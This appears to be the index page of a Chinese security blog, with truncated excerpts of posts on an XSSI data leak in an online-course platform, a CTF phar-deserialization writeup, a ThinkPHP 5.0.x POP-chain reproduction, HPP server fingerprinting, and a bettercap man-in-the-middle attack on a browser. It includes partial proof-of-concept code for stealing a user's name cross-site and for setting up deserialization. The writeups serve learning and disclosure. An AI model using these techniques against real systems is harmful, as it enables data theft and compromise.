博文

【有趣的XSSI漏洞】梦中发现某网课平台信息泄露漏洞

图片
0x00 Disclaimer          由于coronavirus的影响,学校安排我们上网课,可能是由于学习太累,做梦都梦到了上网课了,而且还梦到了一个漏洞百出的网课平台。最近我梦到发现了一个非常有趣的漏洞,在我在梦中发现的这个平台的大大小小的漏洞中,这个虽然不是最严重的,但是是最有趣的。
         幸好在做梦的时候还顺手截了图,这才能够跟大家分享。本文所述内容纯属意淫,如果您在现实生活中碰到了长得相似的系统那完全是巧合,和本人一丢丢关系都没有

0x01 漏洞发现          在睡梦中闲来无事抓个包,发现包里面居然有很好玩的内容
什么,一个疑似JS的文件里面包含了我的名字?
赶快翻上去header,发现了这个
这说明了什么?这个头指示浏览器把这个请求回来的东西当作JS代码,由于JS可以允许跨域,攻击者可以在html中精心构造JS来访问这些信息 0x02 漏洞原理成因背景 笔者很懒惰,发现先知社区讲的更好,就直接贴上链接了:https://xz.aliyun.com/t/7204
0x03 漏洞POC编写 这里面所有的信息都是被document.writeln包裹起来了,但是我们可以通过覆盖这个函数实现获取信息而不是傻乎乎地把信息写在页面上。基于这一点,我们可以很容易地写出POC代码 <!DOCTYPEhtml> <head> <metacharset="UTF-8"> <title>!!!</title> </head> <body> <h1id="msg"style="color:red"></h1> <script>     name=''     islogin=1;     document.writeln=function(text)     {         match=text.match(/zt_u_name">(.*?)</) if(match !==null)         {             name=match[1];         } if(text.search("http://passpor…

CISCN2019 Dropbox Writeup

图片
0x00关于本文 感谢@glzjn大佬提供的buuoj复现环境! 0x01漏洞突破口 LFI  在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞

 后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include"class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化 哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲) $file = newFile(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中,这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。 首先看到FileList类的__destruct publicfunction__destruct() { $table = '<div id="container" class="container&quo…

ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)

图片
0x00关于本文 本文内容是针对ThinkPHP v5.0. fx 反序列化利用链挖掘的复现。
本文会从一 个只会反序列化基础知识的小白的视角一步一步复现这个利用链,在阅读本文的时候需要具备一定反序列化的基础,同时配合ThinkPHP v5.0.x 反序列化利用链挖掘阅读。

在复现的过程中由于原文写的过于模糊,有一部分利用链不太一样但是开头结尾是一样的。
同时很不幸,该利用链不能在Windows上利用(待会我会说原因的),期待各位大佬找到一条通用的pop chain
0x01环境搭建 首先需要有个ThinkPHP V5.0.24的环境,这个过程就略过去了,接着再在application/index/controller/Index.php写下如下代码 <?php namespaceapp\index\controller;
classIndex { publicfunctionindex()     { echo"Welcome thinkphp 5.0.24"; unserialize(base64_decode($_POST['payload']));     } } 为什么我要选择使用base64_decode的办法传递Payload呢,那是因为在序列化字符串中往往有一些不可见字符,复制的话会漏掉,索性base64 0x02万事开头难--第一个类的反序列化及为什么要命名空间(namespace)以及extents 想要搞反序列化必然是需要一个起点的,原文使用了Windows类来开始 那首先我们需要一个Windows类 于是构建代码如下
<?php namespacethink\process\pipes; classWindows {
} $x=newWindows(); echoserialize($x); echo"<p>"; echobase64_encode(serialize($x)); 底下我分别输出了反序列化的结果和base64编码过后的反序列化结果以便检查

为什么需要在前面加个namespace呢?
因为ThinkPHP中的Windows类是有namespace的,长这样:
namespacethink\process\pipes;
use think\Process;
classWindow…

基于HPP参数污染的Web服务器指纹识别技术

图片
0x00 关于本文          关于web服务器指纹识别的技术,已经有十万甚至九万个文章描述,十万甚至九万个工具实现。但目前来看,本文或许是首先提出基于HPP参数污染技术来识别web服务器指纹的。 通过HPP参数污染技术来探测服务器的指纹可以有非常高的准确率,此方法通过不依赖可以随意删除的特征关键字(比如服务器返回头),不会被啊D那样能够把IIS伪装成Apache2这样的伎俩欺骗。但是缺点是只能够识别Web服务器中间件类型,无法识别CMS,并且自动化有一定困难(为自己的懒惰找借口) 0x01 HPP是什么以及为什么HPP可以用来识别Web服务器指纹          HPP全称HTTP Parameter pollution,就是HTTP参数污染。简单来说就是提供多个同名的参数给服务器,比如说一般提交的是?id=1你提交一个?id=1&id=2。由于HTTP标准并没有写明该怎么办,各个不同的服务器/中间件会有不同的处理方式,而通过观察他们的处理方式的差异即可判断服务器类型          比如对于网站http://example.com/?color=red&color=blue,不同的服务器认为自己收到的参数如下
Web Application Server BackendParsing ResultExampleASP.NET / IISAll occurrences concatenated with a commacolor=red,blueASP / IISAll occurrences concatenated with a commacolor=red,bluePHP / ApacheLast occurrence onlycolor=bluePHP / ZeusLast occurrence onlycolor=blueJSP, Servlet / Apache TomcatFirst occurrence onlycolor=redJSP, Servlet / Oracle Application Server 10gFirst occurrence onlycolor=redJSP, Servlet / JettyFirst occurrence onlycolor=redIBM Lotus DominoLast occ…

【自我转载】利用Bettercap对某国产浏览器中间人漏洞执行攻击

图片
------------------------------版权警告----------------------------
本文已投稿给freebuf并被发表,转载请联系freebuf官方
----------------------------------------------------------------------
本文首发于Freebuf 国产浏览器往往基于Chrome浏览器开发,在带来新功能的情况下也带来了新的安全威胁。 本文将披露某国产浏览器的中间人信息泄漏漏洞以及科普bettercap攻击脚本的编写方法。 漏洞发现 笔者本想按着先辈们的文章测试下国产浏览器的特权域漏洞,但是在测试过程中意外发现了某国产浏览器的一个中间人信息泄漏漏洞。  如图,每当该浏览器访问某URL的时候,都会向该浏览器官方的某个系统请求一个urlcheck来检查该URL是否安全,其中请求的url参数就是base64后的url。 我们暂且相信该浏览器官方是善意的不会保存我们的urlcheck记录,但这种HTTP明文请求仍然会使其易于遭受中间人攻击,导致即使有SSL保护的情形下URL仍然会被泄漏的问题,同时攻击者也可以据此伪造可信网站进行钓鱼攻击。 关于中间人攻击,由于笔者相信FreeBuf读者均具有相关的知识且其原理细节并非本文重点,在此不予详细叙述。简而言之,该攻击能使攻击者轻易的截取及替换明文传输的内容,可能导致信息泄漏,信息被篡改,甚至系统被拿下。 漏洞利用之bettercap配合Burpsuite手动攻击 显而易见,攻击者可以通过截取请求包并替换来进行漏洞利用。 在这里漏洞的演示攻击中,我们采用bettercap攻击进行演示。 bettercap介绍 bettercap早在几年前就被发布出来,是各类无线攻击的瑞士军(和谐)刀,具有取代ettercap的野心。 在原有的1.0版本中可以通过命令行参数来进行许多中间人攻击,而在2.0之后的版本该工具借鉴了MSF的模块化思想,主要通过交互式终端执行进行攻击。 目前bettercap还提供一个漂亮的UI供攻击者简化攻击过程,不过本文并不会涉及该UI的使用。  比起老牌的ettercap,该工具具有如下优点 1,更加稳定,不像ettercap容易崩溃 2,易于拓展,可以用其支持的cap脚本和js代码拓展 3,易于操作,具有更加简单的命令进行…